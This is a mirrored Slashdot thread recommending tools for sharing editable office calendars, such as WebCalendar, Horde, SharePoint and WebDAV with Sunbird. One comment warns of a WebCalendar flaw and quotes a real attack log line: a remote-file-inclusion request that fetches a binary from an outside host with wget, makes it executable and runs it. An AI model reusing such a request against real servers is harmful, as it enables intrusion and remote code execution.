Slashdot Mirror


How To (Really) Share A Simple Calendar?

Lucas asks: "I run a small business as one of the people who 'knows something about computers', which now means, like many of you, I find myself having to solve IT problems. We have been trying to share maybe three simple, stupid calendars. Here's the catch -- we need to able to edit each other's calendars! This is where the problem comes in. We tried Mozilla Calendar/Sunbird with a WebDAV server (even though it deleted two calendars upon upload and barfed on a third, my office loves Sunbird's interface), OfficeZilla (too complicated for just one calendar), Calendars.net (too slow), ACT! (bolted on and expensive), and Yahoo (not designed for corporate stuff). Even iCal won't let you edit someone else's calendar. Is there any way to do this -reliably- without using MS Exchange and without spending a ton of money?"

37 of 118 comments (clear)

  1. webcalendar by haydenth · · Score: 4, Informative

    I use (and love)webcalendar.

    --
    - tom -
    1. Re:webcalendar by Ethan+Butterfield · · Score: 3, Insightful

      I also use and love Webcalendar. It is quick to set up, and its only real needs are PHP and a MySQL backend. Viewing other people's calendars is easily set up via Layers, and any user with Admin rights can edit other people's calendars. I brought it in about a year and a half ago for the consulting business I work for. We've got 6 people regularly using it and it hasn't choked on us yet.

    2. Re:webcalendar by chill · · Score: 3, Insightful

      I'll have to second this one.

      I set up WebCalendar for a financial services organization. They have 150+ users spread around the country and WebCalendar is accessed as a plug-in to Squirrelmail. We mandate SSL/TLS connections and it performs wonderfully.

      When I left the new techies wanted to replace it with Exchange/Outlook/OWA and were flat out told "no way in Hell" by management. The killer sticking point was the ability to overlay calendars -- something Outlook just can't do. (Side-by-side just is not the same.)

        -Charles

      --
      Learning HOW to think is more important than learning WHAT to think.
    3. Re:webcalendar by B00yah · · Score: 4, Informative

      Be careful. I ran in to an issue with web calendar 1.0.1, where someone used a php vulnerability built in to the reminder function to upload and execute remote software.

      212.138.47.24 - - [29/Aug/2005:14:01:50 -0500] "GET /calendar/tools/send_reminders.php?includedir=http ://aimbig.co.kr/readme/img/.nd1.dat?&cmd=cd%20/tmp ;wget%20http://www.fullteam.net/xpl/r0nin;chmod%20 777%20r0nin;./r0nin HTTP/1.0" 200 17169 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)"

    4. Re:webcalendar by B00yah · · Score: 2, Informative

      as i said, I was using 1.0.1, which is their most current release.

    5. Re:webcalendar by Taral · · Score: 2, Informative

      That looks a lot like the bug that 1.0.1 was supposed to fix...

      --
      Taral

      WARN_(accel)("msg null; should hang here to be win compatible\n");
      -- WINE source code

  2. Kerio MailServer by johnjones · · Score: 4, Informative

    there are many ways of doing what you want

    you can use webserver with a web calendar or various custom applications depending on how you work

    Or

    You could use Kerio Mail server this allows multiple people access to a calendar i.e. a shared calendar for the web and Microsoft Outlook

    see Kerio MailServer

    regards

    John Jones

    discalimer I work for Kerio

  3. A test to destruction... by davecb · · Score: 4, Insightful
    An academic colleague (Hi, Paul!) once said that managing a team's calendars was a test to destruction of most artificial intelligence systems.

    I expect it's hard even when you get to use human intelligence.

    --dave

    --
    davecb@spamcop.net
  4. back to basics by Anonymous Coward · · Score: 2, Insightful

    blackboard, chalk, free paper calendar, clock, bell(optional)

  5. Horde by rmm4pi8 · · Score: 5, Informative

    The best simple solution is Horde and its Kronolith calendaring application. Lets you set up shared calendars and set editing permissions. Doesn't automatically figure out when meeting times will work for everyone, but it's easy and it will do your email, tasks, and time-tracking as well. If you need any help setting it up, check the mailing lists or just email me (I worked on Horde for my Summer of Code project).

    --
    U.S. War Crimes blog. Email for free Mandriva support.
  6. SharePoint by skwirlmaster · · Score: 3, Informative

    Well, it seems you have a windows environment, but don't want to purchase exchange. There is another tool, Windows SharePoint Services. It can be configure to have a calendar for each member. It is free, but it requires IIS 6, Win2k3, and SQL Server or the free data engine thingy.
    There is a catch, you have to use the web interface to edit the calendars. You can always set that up to open in outlook.
    We use it for an office calendar, useful!

    --
    My inner self is ineffable, so don't eff with me.
    1. Re:SharePoint by Jjeff1 · · Score: 3, Interesting

      The "free data engine thingy" is also known as MSDE, and works pretty well, but is limited to databases of less than 2 GB. You didn't say why Exchange has been ruled out. If it's for stability reasons, you're barking up the wrong tree. Exchange is pretty solid and has gotten more reliable over the years. Same with Windows. If it's a cost issue, Windows 2003 small business server is $599, which includes Exchange and Outlook 2003 and 5 CALs. If you need the hardware, you can get a cheap http://configure.us.dell.com/dellstore/config.aspx ?c=us&cs=04&kc=6W300&l=en&oc=sc430r649&s=bsd>Dell server AND 2003SBS for under 700$. You'll probably want to spring for something more fault tolerant, which could cost you 1000$. Over 5 years, you're talking about an expenditure of $20 per month. That's less than the coffee fund. You'll need to setup and maintain it, if you don't have a windows background that could prove tough for you. But there are reasons so many places stick with Exchange, shared calendars are high on the list.

  7. Avalon Business Systems by Johnso · · Score: 3, Informative
    My small IT office uses the Avalon Management Suite from Avalon Business Systems. It's a complete productivity suite which might be overkill for you, but it has the best group-based calendar I've ever seen.

    You can set up permissions so that you can create your own appointments, create others, or suggest others which are put into a "pending" approval queue. It's all web-based and sexy as hell.

    I'm not sure how much it costs, but you can probably get just the features you want. I can vouch that pretty much every aspect of it is great.

    --
    I'm a signature virus. Please copy me to your signature so I can replicate.
  8. I've done it with InsightServer by scumdamn · · Score: 3, Informative

    The requirements for one job I've done was that the calendar had to work with Outlook and had to basically look just like Exchange to the people in the office. I went with InsightServer running on a RedHat Linux server. it cost a lot less than Exchange and it works great. It's been running for about two years now without any problems. The only issue we've had so far is Blackberry support. Feel free to ask me any questions if you decide to go with it.

  9. You were so close by Just+Some+Guy · · Score: 5, Insightful
    First, you neglected to mention which OS(es) you're targetting, so we'll just have to guess.

    Anyway, you were on track with the WebDAV server. I use Apache 2's built-in mod_dav to host several calendars, and view/edit them with Sunbird (Windows) and Korganizer (Unix). I think your time would be better served debugging your first attempt than starting over from scratch.

    --
    Dewey, what part of this looks like authorities should be involved?
    1. Re:You were so close by alonsoac · · Score: 2, Interesting

      I did want to bother with mod_dav so what I did was setup the PUT method on Apache, which involves uploading a script that saves files when PUT by a client. So that basically allows the KOrganized to put the calendars back on the server. Then I made it ask for a password so that only authorized users would be able to get the calendar in the first place.

      Require valid-user
      AuthName "calendarios"
      AuthType Basic
      AuthUserFile /www/passwd/cal.pw

      It works perfectly. I used to use Sunbird too and worked fine, but didn't like it much.

  10. 4Team by aspjunkie · · Score: 2, Informative

    I was looking for a similar solution a few years ago and 4Team seemed to work well enough.

    http://outlook.4team.biz/

  11. Re:MS does have things that are worth the money by ttfkam · · Score: 2, Informative

    How the parent post could be seen as "Redundant," I will never know. It doesn't detract from the fact that it's completely right.

    Open source E-mail app? Done in spades. Web browser? Plenty to choose from. Calendaring app? None worth mentioning. Calendering with e-mail?

    Outlook did this how many years ago? It's getting close to ten years, isn't it? The closest thing I've seen to it is Gnome Evolution, and they were just blatently copied the UI of Outlook.

    So if you're on Linux/BSD, use Evolution. If you're on Windows, until the planned Thunderbird/Sunfire merger, you're SOL; Outlook/Exchange is your only viable option.

    --

    - I don't need to go outside, my CRT tan'll do me just fine.
  12. This works too by tsm_sf · · Score: 3, Informative

    dotProject is pretty good. Allows you to filter the display of entries, and if you'd combine that with a few user accounts that have access to each other's stuff it'd probably do the trick.

    --
    Literalism isn't a form of humor, it's you being irritating.
  13. No one has mentioned. by /dev/trash · · Score: 2, Informative

    Calcium

    Which runs on Windows and Linux.

  14. WebDAV Versioning by Noksagt · · Score: 4, Informative
    We tried Mozilla Calendar/Sunbird with a WebDAV server (even though it deleted two calendars upon upload and barfed on a third, my office loves Sunbird's interface)
    I'm a huge fan of WebDAV+iCal & I suggest you try again & solve some of the problems you encountered. If needed, automatically backup your WebDAV content and/or choose a better WebDAV module. It is too bad that WebDAV doesn't have true versioning, but there are implementations which do DeltaV versioning, which would solve a lot of this.

    Also look into the fledgling CalDAV implementations & projects like Hula (server) and Chandler (client). Very recent binaries of Sunbird also sport CalDAV support.
  15. open-xchange by gizmo_mathboy · · Score: 3, Informative

    open-xchange is ok. It isn't Exchange but then again what is? I would really, really like to find a replacement for it.

    There is a free version and a pay version.

  16. Sunbird Deletes Calanders! (But it's fixable) by zulux · · Score: 4, Informative


    When you have a WebDAV server setup and have Sunbird/Mozilla Calander setup - it will delete calendars that have zero items. Delete the last item in your calendar, and POOF, you have a zero byte .ics file. Once you begin to use your calendar, this problem goes away. But when you're just testing things it looks like a show stopper.

    --

    Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.

  17. Re:MS does have things that are worth the money by thegrassyknowl · · Score: 4, Insightful

    IF YOU DON'T USE THE BEST TOOLS YOU CAN GET, YOU ARE A MORON! Outlook/Exchange happens to be the best tool right now.

    I must be a MORON!!! I use OpenBSD and Linux exclusively and I can't use Outlook/Exchange. I'm not prepared to run my Internet-facing mail server on Exchange (you need mail abilities to use the calendar to its full potential). Putting a M$ product on the greater Internet says more about how moronic you are than not using the best tool for the job.

    There are dozens of great tools for simple calendaring. Did you look at Hoarde (http://www.hoarde.org? I bet you didn't. Hoarde have a whole suite of PHP-based groupware applications from Webmail to calendaring to practically anything else you can think of.

    Why would you want a bloated, arbitrarily limited, buggy Exchange program running on a fundamentally flawed OS when you can have a PHP-based application running in any webserver you can make PHP work in (usually Apache, but others exist) on any OS that can run the webserver (OpenBSD is my choice for server OS, Linux might float your boat). Sure, there's no client-side application and it's all web based, but the Outlook program leaves a lot to be desired anyway. If it wasn't mandated here by some manager to use Outlook I'd be using a real client without even thinking about it.

    Think twice before you start calling people morons. OSS might not be the answer to everything, but if you're using other OSS tools the suggesting that a MS tool is the way to go is just being stupid. How do you propose that I get Outlook clients running in a Linux-only shop? The web client for Exchange hides most of the functions that make the groupware in Exchange so "great".

    --
    I drink to make other people interesting!
  18. Re:MS does have things that are worth the money by jrockway · · Score: 4, Informative

    M-x calendar serves all of my team's calendaring needs. Check the plain text file into and out of CVS and you have distributed calendaring with revision control.

    Oh, but that doesn't cost hundreds of thousands of dollars or have a shiny GUI. Boo fucking hoo. Fuck Windows, and fuck Microsoft.

    --
    My other car is first.
  19. why not exchange by moosesocks · · Score: 3, Insightful

    why not just use exchange?

    what you're describing isn't exactly that simple, and calendaring is perhaps exchange's most touted feature among those who use it.

    and it's popular enough that it's available in some form on every platform (Evolution for *nix, Outlook for Win32, Entourage for OSX)

    I'm not a very big microsoft advocate, but it seems like you're passing up a perfectly good product based upon your bias against microsoft.

    If Sunbird was stable, or came close to matching the ease-of-use or maturity of outlook, I'd reccommend it even if outlook had the edge because of price and the fact that it's not microsoft. But the fact is that nothing comes close.

    --
    -- If you try to fail and succeed, which have you done? - Uli's moose
    1. Re:why not exchange by GreatDrok · · Score: 2, Interesting

      Interesting comment. We currently have a Windows infrastructure put in place before I arrived. It has 12 licenses and our company is about to use up the last of them. To add another user we will need to buy CALs for each of the three servers (win2003) we run, exchange, office etc etc. Surprising how this adds up. Anyway, since we intend to get bigger and we don't like having to dip into the pot every time we want to add one more user we are ditching the win2003 boxes in favour of linux servers (its OK, I've done this before so don't worry about TCO and retraining). We are moving away from Office to OpenOffice 2, I'll probably end up getting Crossover Office to allow us to retain the current 12 licenses for purposes of absolute compatibility but internally our docs will switch to OpenDocument and externally PDF. Outlook will be dropped in favour of standards complient and secure e-mail apps (Thunderbird, Apple Mail, Evolution and so on) and I have already been successfully running a test server with IMAP, OpenWebMail and WebDav along with SAMBA and it all works well. So, back to the question, why not exchange? Too expensive by far, really not crossplatform enough even though we can use Evolution from *nix it is better to have more choice and I simply don't want our Windows users running Outlook. Entourage is really nasty and like the rest of Office:mac it doesn't really sit well on the platform. Oh, and the licenses for our anti-virus and anti-spam software have a limitation on the number of users too, and the anti-spam doesn't even seem to work so that will all be replaced with clam-av and spamassassin or similar on the linux server. In the end, a switch like this is about taking control of the situation. With an MS infrastructure you have too little control and it might look cost effective at first but the expense just keeps growing.

      I'm looking at eGroupware at the moment but it seems to be a bit over the top and we will probably just stick with WebDav. In the end, the solution will work for all platforms as it will be based on open standards and so my users will be able to choose the platform that best lets them get their jobs done but I won't have a particular application or desktop forcing the whole infrastructure to come from a single manufacturer as is currently the case.

      --
      "I have the attention span of a strobe lit goldfish, please get to the point quickly!"
  20. Re:MS does have things that are worth the money by schotty · · Score: 2, Informative

    Actually, you wont need to setup Exchange to actually handle mail, but just the calendar part. Thats what I have done to get around the lack of any usable calendar solutions.

    I am not sure how other email clients aside from Evolution operate with exchange servers, but Evolution makes people happy and is a decent package.

    --
    Sigs are nice guns ...
  21. Re:MS does have things that are worth the money by bofkentucky · · Score: 2, Informative

    That's HORDE you've got to do the legwork of setting up your LAMP (Postgress and IIS also supposedly work, YMMV) server up correctly, but the apps themsleves are powerful and easy to use.

    --
    09f911029d74e35bd84156c5635688c0
  22. Re:MS does have things that are worth the money by ttfkam · · Score: 2, Insightful

    And for the coworkers that aren't well versed with the concept of revision control let alone actually using it?

    A real life solution needs to be usable by anyone, not just those that recognize that M-x is an Emacs-ism.

    Your solution has a horrible UI, but it *will* cost thousands of dollars more than Outlook/Exchange. Why? Because training people to use your system is more expensive than an Exchange license.

    You want to fuck Microsoft? Write a real competitor to Outlook that regular folks can use (or help out with the Thunderbird/Sunfire integration). Anything else is a waste of breath.

    --

    - I don't need to go outside, my CRT tan'll do me just fine.
  23. Re:MS does have things that are worth the money by quantum+bit · · Score: 2, Interesting

    Congratulations, you've found THE killer app for Outlook/Exchange. Seriously, it is probably the best out there right now.

    Maybe, maybe not. One thing Outlook/Exchange doesn't seem to be good at is scheduling for small close-knit groups (i.e. a small 4-5 person department that needs to coordinate a lot of things). Switching back and forth is inefficient, a shared calendar in a public folder can make it hard to figure out whose appointments are whose and reminders don't work, using meeting requests for everything is overkill, and the new "Group Schedules" in Outlook 2003 is a joke.

    It would be nice if Outlook had a layered calendar view like KOrganizer does.

  24. Re:Wiki by ggvaidya · · Score: 2, Informative

    Just about all the Wiki software I know (including MediaWiki) makes sure that doesn't happen. The way it works is:

    1. Person X starts to edit the page.
    2. Person Y starts to edit the page.
    3. Person X saves his copy.
    4. When Person Y saves his copy, he is warned that the previous content has been edited, and is presented with two textareas, containing person X's revision and person Y's new revision. He is responsible for merging his changes back into person X's revision.

    Dunno if that'll be too cumbersome for you though, if you're updating stuff too frequently ...

  25. Various good web-based options. by Domini · · Score: 4, Informative

    In order of preference:

    1. horde-kronolith http://www.horde.org/kronolith/ (horde suite is quite comprehensive and easy to set up)
    2. webcalendar http://www.k5n.us/webcalendar.php
    3. MediaWiki with calendar plugin (a little bit tricky to set up, and not as great to use as previous two)

    Basically the shared feature of horde is pretty powerfull with a good rights-system. They also alow calendars to be exported etc.

    Check them out.

  26. Citadel by mcbridematt · · Score: 2, Interesting

    Citadel + WebCit, Aethera or some other clients.

    You can create a Calendar room accessible by everyone (or acl'ed as you wish) and people can edit as they wish, as a plus it can handle your mail, among other things. If you want to have a play with WebCit, log onto Uncensored BBS or one of the others.

    Disclaimer: I'm to blame for the upcoming NNTP implementation in Citadel, along with a patch to use Bogofilter, and the token Australian node on the "IGnet".

  27. Hula Project by sruchris · · Score: 2, Informative

    Check out Novell's Hula Project

  28. Do you really want others to edit your Calendar? by gstoddart · · Score: 3, Insightful

    Really edit, or do you wish to be able to invite people?

    My first response to that actual ability for you to edit someone else's calendar is acceptance and actually being able to make it.

    If someone edits your schedule without you knowing, you may not kow the scheduled item is in place. Likewise, if someone decides you need to be at their power-point meeting instead of picking up someone at the airport, that's bad.

    I'm of the firm opinion that people need to be able to accept invitations instead of simply being informed they'll be showing up at a certain time. It's my time to manage, not yours.

    Then again, I'm not a fan of having schedules imposed on me by other people. So the idea of somsone else editing the final version of my schedule would make me rather irate.

    --
    Lost at C:>. Found at C.
  29. Re:MS does have things that are worth the money by gr8fulnded · · Score: 2, Informative

    Someone else already did the legwork...

    XAMPP... It's a prerolled LAMP server. Unzip, install, customize.

    XAMMP - LAMP


    --Dave